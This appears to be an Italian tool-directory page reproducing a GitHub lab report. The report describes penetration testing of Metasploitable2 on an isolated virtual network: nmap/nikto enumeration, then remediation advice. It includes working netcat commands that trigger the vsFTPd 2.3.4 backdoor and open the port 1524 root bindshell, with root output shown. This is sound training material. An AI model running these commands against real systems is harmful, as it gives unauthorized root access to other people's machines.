Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pentest-lab-metasploitable2 — Laboratorio di pentest in rete isolata: enumerazione con nmap/nikto ed exploitation manuale di Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) con report tecnico completo. | Kitploit
Strumenti/GitHubGitHub/danreis20/pentest-lab-metasploitable2
RicognizioneScanner di Vulnerabilità WebMappatura della ReteAnalisi delle VulnerabilitàExploitCTFPenetration TestingPaper e RicercaApprendimento e Formazione

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Lab e Pratica
GitHubdanreis20/pentest-lab-metasploitable2

pentest-lab-metasploitable2

Laboratorio di pentest in rete isolata: enumerazione con nmap/nikto ed exploitation manuale di Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) con report tecnico completo.

Vedi Repository
318h 56m faNon ancora revisionato
Condividi

Laboratorio di Pentest in Rete Isolata

Autore: Daniel Stefan de Jesus dos Reis Data: Settembre/2026 Ambiente: Laboratorio personale KVM su rete virtuale isolata pentestlab

Avviso di Scopo e Autorizzazione

Questo test è stato eseguito esclusivamente contro una macchina virtuale propria e intenzionalmente vulnerabile, distribuita da Rapid7 specificamente per scopi di formazione in sicurezza offensiva, all'interno di una rete virtuale isolata senza uscita verso internet. Nessun sistema di terze parti è stato acceduto. Questo progetto ha finalità esclusivamente educativa, per lo sviluppo di competenze nei test di intrusione.

1. Architettura del Laboratorio

  • Hypervisor: KVM/libvirt
  • Rete virtuale: pentestlab (bridge virbr-lab), sottorete 192.168.100.0/24, senza <forward> configurato — ovvero, una rete isolata davvero: le VM comunicano tra loro e con l'host, ma non hanno rotta verso l'esterno del laboratorio. XML della rete in .
evidencias/pentestlab_network.xml
  • Host attaccante: la macchina host stessa, con interfaccia virbr-lab, usando nmap, nikto, gobuster, hydra, sqlmap e netcat.
  • Target: VM metasploitable2 (Metasploitable2, Ubuntu 8.04 modificato), IP 192.168.100.90/24, assegnato via DHCP dalla rete isolata stessa.
  • root@kitploit:~
    [ Host / Atacante ]  
            |
       virbr-lab (rede isolada, sem saída para internet)
            |
    [ metasploitable2 ] 
    

    2. Metodologia

    Ho seguito un flusso di base di ricognizione → enumerazione → sfruttamento → documentazione:

    1. Scoperta dell'host e scansione completa delle porte TCP con rilevamento di servizio/versione (nmap -sV -sC -p-)
    2. Scansione delle vulnerabilità web (nikto)
    3. Prioritizzazione delle vulnerabilità note (CVE) associate alle versioni identificate
    4. Sfruttamento manuale dove tutti i passaggi seguenti sono stati eseguiti con nc, per comprendere il meccanismo di ogni falla, non solo "eseguire l'exploit"
    5. Documentazione delle evidenze e raccomandazioni di correzione

    3. Ricognizione — Scansione Completa

    Comando: nmap -sV -sC -p- -T4 192.168.100.90 Output completo: evidencias/nmap_full_scan.txt

    Riepilogo dei servizi più rilevanti trovati:

    PortaServizioVersioneOsservazione
    21/tcpFTPvsftpd 2.3.4Login anonimo consentito + backdoor nota
    22/tcpSSHOpenSSH 4.7p1Obsoleto
    23/tcpTelnetLinux telnetdProtocollo in chiaro
    25/tcpSMTPPostfix—
    80/tcpHTTPApache 2.2.8 + PHP 5.2.4phpMyAdmin e phpinfo.php esposti
    139/445/tcpSMBSamba 3.0.20-DebianFirma dei messaggi disabilitata
    1099/tcpJava RMIGNU Classpath grmiregistryStoricamente vulnerabile a RCE
    1524/tcpbindshell—Shell di root già aperta, senza autenticazione
    3306/tcpMySQL5.0.51a-3ubuntu5—
    3632/tcpdistccdv1Storicamente vulnerabile a RCE (CVE-2004-2687)
    5432/tcpPostgreSQL8.3.0–8.3.7—
    5900/tcpVNCprotocollo 3.3—
    6667/6697/tcpIRCUnrealIRCd 3.2.8.1Versione associata a backdoor nota
    8180/tcpHTTPApache Tomcat 5.5—

    4. Vulnerabilità Sfruttate (confermate)

    4.1 Backdoor in vsFTPd 2.3.4 — CVE-2011-2523 (Critica)

    Tra il 30/06/2011 e il 03/07/2011, il codice sorgente di vsFTPd 2.3.4 reso disponibile per il download è stato manomesso da un attaccante. La versione compromessa contiene una backdoor: al ricevere, nel campo utente del login FTP, una stringa terminante con :), il server apre una shell di root sulla porta TCP 6200, senza alcuna autenticazione.

    Passaggi eseguiti (log completo in evidencias/vsftpd_backdoor_exploit.txt):

    root@kitploit:~
    # 1. Disparar a backdoor enviando USER terminado em ":)"
    ( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
    
    # 2. Conectar na porta 6200, aberta pela backdoor
    ( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
    

    Risultato:

    root@kitploit:~
    uid=0(root) gid=0(root)
    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
    

    Accesso root completo ottenuto senza autenticazione.

    4.2 Bindshell esposta sulla porta 1524/tcp (Critica)

    nmap identifica già questo servizio come Metasploitable root shell — una backdoor lasciata intenzionalmente nell'immagine (residuo di un exploit precedente, comune nelle immagini di formazione). Non richiede sfruttamento: basta connettersi.

    root@kitploit:~
    ( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
    

    Risultato: uid=0(root) gid=0(root) groups=0(root) — root immediato.

    Log completo in evidencias/bindshell_1524.txt.

    5. Vulnerabilità Identificate (non sfruttate in questo ciclo)

    5.1 UnrealIRCd 3.2.8.1 — CVE-2010-2075 (Critica, identificata per versione)

    La versione di UnrealIRCd in esecuzione sulle porte 6667/6697 corrisponde a una build storicamente distribuita con una backdoor (comando AB; seguito da un comando di shell). Ho tentato di attivare la backdoor manualmente via nc, ma il server ha trattato l'input come un comando IRC non valido (451 :You have not registered) invece di eseguire il comando — o questa immagine specifica non contiene il binario trojanizzato, oppure il payload necessita di una messa a punto che non ho prioritizzato in questo ciclo. Registro questo come tentativo senza successo, non come vulnerabilità confermata.

    5.2 distccd 3632/tcp — CVE-2004-2687 (Alta)

    Servizio di compilazione distribuita che accetta comandi arbitrari da qualsiasi client che si connetta, senza autenticazione. Identificato per versione, non sfruttato in questo ciclo.

    5.3 Java RMI Registry — porta 1099/tcp (Alta)

    Storicamente vulnerabile a esecuzione remota di codice tramite deserializzazione. Identificato per versione, non sfruttato in questo ciclo.

    6. Enumerazione Web (nikto)

    Comando: nikto -h 192.168.100.90 -p 80 Output completo: evidencias/nikto_scan.txt

    Principali risultati:

    • Apache 2.2.8 obsoleto (la serie attuale, all'epoca, era 2.2.22+)
    • Metodo HTTP TRACE attivo (potenziale XST)
    • /phpinfo.php esposto pubblicamente (rivela la configurazione di PHP)
    • /phpMyAdmin/ accessibile senza restrizione di IP
    • Listato delle directory abilitato in /doc/, /test/ e /icons/
    • Cookie di phpMyAdmin creato senza il flag httponly

    7. Raccomandazioni di Correzione

    RiscontroRaccomandazione
    Backdoor vsFTPd 2.3.4Non usare mai binari da fonti non ufficiali/non verificate; validare hash/firma dei pacchetti prima di installare
    Bindshell sulla porta 1524Verificare regolarmente le porte aperte (nmap interno periodico); qualsiasi shell non documentata è un incidente
    distccd esposto senza autenticazioneLimitare a host fidati tramite firewall o disabilitare se non è in uso attivo per build distribuite
    phpMyAdmin/phpinfo.php espostiLimitare l'accesso per IP/VPN, non esporre mai pubblicamente strumenti amministrativi
    Apache/PHP obsoletiMantenere attivo un processo di patch management
    Listato delle directory abilitatoDisabilitare Options Indexes in Apache
    SMB con firma dei messaggi disabilitataAbilitare server signing = mandatory

    8. Cosa ha dimostrato questo laboratorio nella pratica

    • Ricognizione ed enumerazione di rete con nmap (scansione completa, rilevamento di servizio/versione, script NSE)
    • Comprensione del meccanismo di una backdoor reale (vsFTPd) e sfruttamento manuale via netcat, senza dipendere da framework automatizzati
    • Analisi delle vulnerabilità web con nikto
    • Documentazione di un test di intrusione in formato report: scopo, metodologia, risultati prioritizzati per severità e raccomandazioni di correzione
    • Mantenimento di un ambiente di laboratorio isolato e sicuro (rete virtuale senza uscita verso internet)

    9. Prossimi passi

    • Ripetere lo sfruttamento di UnrealIRCd con una versione dell'immagine confermata come trojanizzata, per chiudere questo risultato
    • Aggiungere una seconda macchina attaccante dedicata (es: Kali Linux) alla rete pentestlab, invece di attaccare direttamente dall'host
    • Espandere questo laboratorio a uno scenario Active Directory (progetto pianificato separatamente)
    Scarica lo strumento